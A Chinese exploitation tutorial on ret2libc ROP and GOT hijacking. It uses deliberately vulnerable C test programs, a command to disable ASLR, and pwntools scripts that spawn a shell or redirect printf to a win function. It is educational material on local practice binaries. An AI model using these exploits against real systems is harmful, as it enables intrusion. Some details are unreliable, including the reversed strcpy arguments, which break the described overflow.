pwn 入门到放弃 4-ROP 绕过栈可执行保护与 GOT 表劫持

0x00 前言 & 准备工作

该篇是基于前一篇的基础之上所做的研究。上一篇中,因为程序没有 system 所以导致需要我们构造自己的 shellcode,但是前提是栈可执行,该篇研究的是在栈不可执行的情况下如何获取 shell

准备工作还是上一篇差不多,先关闭操作系统的地址空间随机化(ASLR),这是针对栈溢出漏洞被操作系统广泛采用的防御措施。关闭该防御来降低学习复现的难度。需要 root 执行。

# 注意,下面是临时修改方案,系统重启后会被重置为2
echo 0 > /proc/sys/kernel/randomize_va_space

随手写一个作为测试使用 (pwn_rop)

//这个作为ROP绕过复现源码
#include<stdio.h>
#include<string.h>

int main(int argc,char* argv[])
{
	char buf[128];
	strcpy(argv[1],buf);
	puts(buf);
	return 0;
}

编译成 32 位的程序,这次只关闭栈保护不打开栈的可执行(坑:这里必须使用 gcc)

gcc -g -m32 -O0 -fno-stack-protector [源文件名] -o [可执行文件名]

参数说明:

  • -g:在可执行文件中加入源码信息(gdb 必要条件)
  • -O0:关闭所有优化
  • -m32:使用 32 位编译
  • -fno-stack-protector:关闭栈保护
  • -z execstack:启用栈上代码可执行

再另一个 got_hacking,选自长亭科技相关分享,因为是一个特别典型和简单的 got_hacking,非常适合入门

//劫持got表复现源码
#include <stdio.h>
#include <stdlib.h>

void win() 
{
    puts("You Win!");
}

void main() 
{
    unsigned int addr, value;
    scanf("%x=%x", &addr, &value);
    *(unsigned int *)addr = value;
    printf("set %x=%x\n", addr, value);
}

编译命令

clang -m32 *.c -o pwn_got_hack

文件命名无所谓,可以看到并未添加 -z relro -z now(完全关闭) 编译参数,这就为 GOT 表劫持提供了可能。

0x10 ROP 绕过栈攻击

0x11 什么是 ROP

在前一篇中,是通过利用栈溢出漏洞,将一段自行构造的 shellcode 放置在栈上特定位置,并使得函数的返回值跳转到该段代码的地址执行,从而获得 shell。但是这要求可以在栈上执行代码,现在栈上可执行代码被关闭了,这就要求我们要想办法跳转到可以执行代码的地方。我们看到程序引用了 libc 库的函数(两句 include 语句),libc 库中显然包含有 system 函数,那么我们将可以把函数返回的地址指向 libc 中的 system 地址,从而跳转到库函数去执行。这种使用函数返回地址 (ret 指令) 连接代码的技术,就叫做 ROP(Return-Oriented Programming,返回导向编程)。

ROP 特性:甚至可以通过在栈上布置一系列内存地址,每个内存地址布置一个 gadget(以 ret/jmp/call 等指令结尾的一段汇编指令),从而实现程序的依次执行。另外很重要的一点是,我们在栈上写入的都是内存地址,并非需要执行的代码,使得这种方式可以有效的绕过 NX 保护。

0x12 攻击思路

我们需要如下计算步骤:

  1. 找出 buf 变量地址。
  2. 找出 main 函数返回地址。
  3. 计算面函数返回地址与 buf 变量地址 2 者的偏移量,用于填充 padding。
    上述三步与前一篇一致
  4. 找出 libc 中 system 函数、"/bin/sh" 地址。
  5. padding 后填充 addr(system) + 4 位任意地址 + addr(/bin/sh)

思路明确,我们现在开始来逐步调试。前面 3 步的过程与第三节相同,并且前面两步的目的就是为了第三步计算偏移,所以可以使用 cyclic 快速找到

当前需要来调试 libc 中地址获取,这里直接使程序溢出,然后程序程序就会异常然后中断,才能搜到 /bin/sh

gdb -q -args ./pwn_rop $(python3 -c "print('a'*200)")
gdb-peda$ starti
gdb-peda$ r

得到 system 的地址为:0xf7e0b370,"/bin/sh" 字符的地址为:0xF7F55363。于是我们构造 payload 为:
"a" * 136 + "0xf7e0b370" + "\1\1\1\1" + "0xF7F55363"

gdb -q -args ./pwn_rop $(python3 -c "print('a'*136+'\x70\xb3\xe0\xf7'+'\1\1\1\1'+'\x63\x53\xf5\xf7')")

0x13 pwntools 实现

from pwn import *

context.log_level = "debug" #show debug information

offset = 136

system_addr = 0xf7e0b370
binsh_addr = 0xF7F55363
              
payload = b'a' * offset + p32(system_addr) + b'\1\1\1\1' + p32(binsh_addr)

p = process(argv = ['./pwn_rop',payload])

print(payload)

p.interactive()

0x20 GOT 表劫持

关于劫持 got 表技术,在第二篇中有提到,这里详细研究一下。

0x21 GOT 表介绍

知识点 1

  • got 中存放的是外部全局变量的 GOT 表,例如stdin/stdout/stderr,非延时绑定。
  • got.plt 中存放的是外部函数的 GOT 表,例如printf函数,延时绑定。

知识点 2

GOT 劫持 2 大要素:GOT 表可写 (checksec 显示 RELRO/disabled 且 Flg 标志位显示为 WA) 与内存漏洞。

0x22 GOT 表劫持核心思想

GOT 表劫持的核心目的是通过修改 GOT 表中的函数地址为其他我们期望的地址,从而达到执行该函数时,通过跳转到 GOT 表,从而跳转到我们修改过的地址去执行指令。

0x23 Got 查看方法

  • 查看 got 表是否可写

    readelf -S [program]
    

  • 查看 got 表中的函数地址

    odjdump -R [program]
    
  • pwntools 中查看 (这里在第二篇中有提到)

    hex(elf.got["printf"])
    

0x24 程序分析

  1. 程序的目的是为了执行 win 函数,但是从 main 函数中并无入口调用 win 函数,所以我们需要想办法控制指令跳转到 win 函数的地址执行。
  2. scanf("%x=%x", &addr, &value); — 以 16 进制按 {}={} 的格式读入 2 个数,分别写入 addr 和 value。
  3. (unsigned int )addr = value; — 关键语句:
    (unsigned int )addr — 将 addr 强制转化为指针类型,此时 (unsigned int )addr 表示的是内存地址 addr
    (unsigned int )addr = value; — 将内存地址 addr 处的内容改写为 value
    所以这里存在 4 字节 =32bit 的任意内存写入漏洞。

0x25 攻击思路

  1. 读取 win 函数的地址。

    # 读取办法1:gdb中打印
    gdb-peda$ p win
    # 外部读取
    objdump -d pwn_got_hack|grep win
    

  2. 从 got 表中读取 printf 函数的地址。

    objdump -R pwn_got_hack
    

    objdump 工具:

    objdump是linux反汇编指令。
    -d(disassemble): 可以显示反汇编后的汇编代码。
    -R(dynamic-reloc): 显示文件的动态重定位入口,可以用于查找libc等共享库。
    
  3. 输入时利用内存泄露漏洞将 printf 函数的地址指向 win 函数。

    # 输入addr(printf)=addr(win),注意这里的地址不同环境不同
    0x0804c00c=0x80491a0
    

    显示 win。

0x26 pwntools 实现

from pwn import *

context.log_level = "debug" #show debug information

p = process("./pwn_got_hack")
elf = ELF("./pwn_got_hack")
# 获取win函数地址
win_addr = hex(elf.symbols['win'])
# 从got表中获取printf函数地址
printf_got = hex(elf.got['printf'])
print ("win_addr: {}".format(win_addr))
print ("printf_got: {}".format(printf_got))
 
payload = printf_got + "=" + win_addr
print ("payload: {}".format(payload))

p.sendline(payload)

print(p.recvall())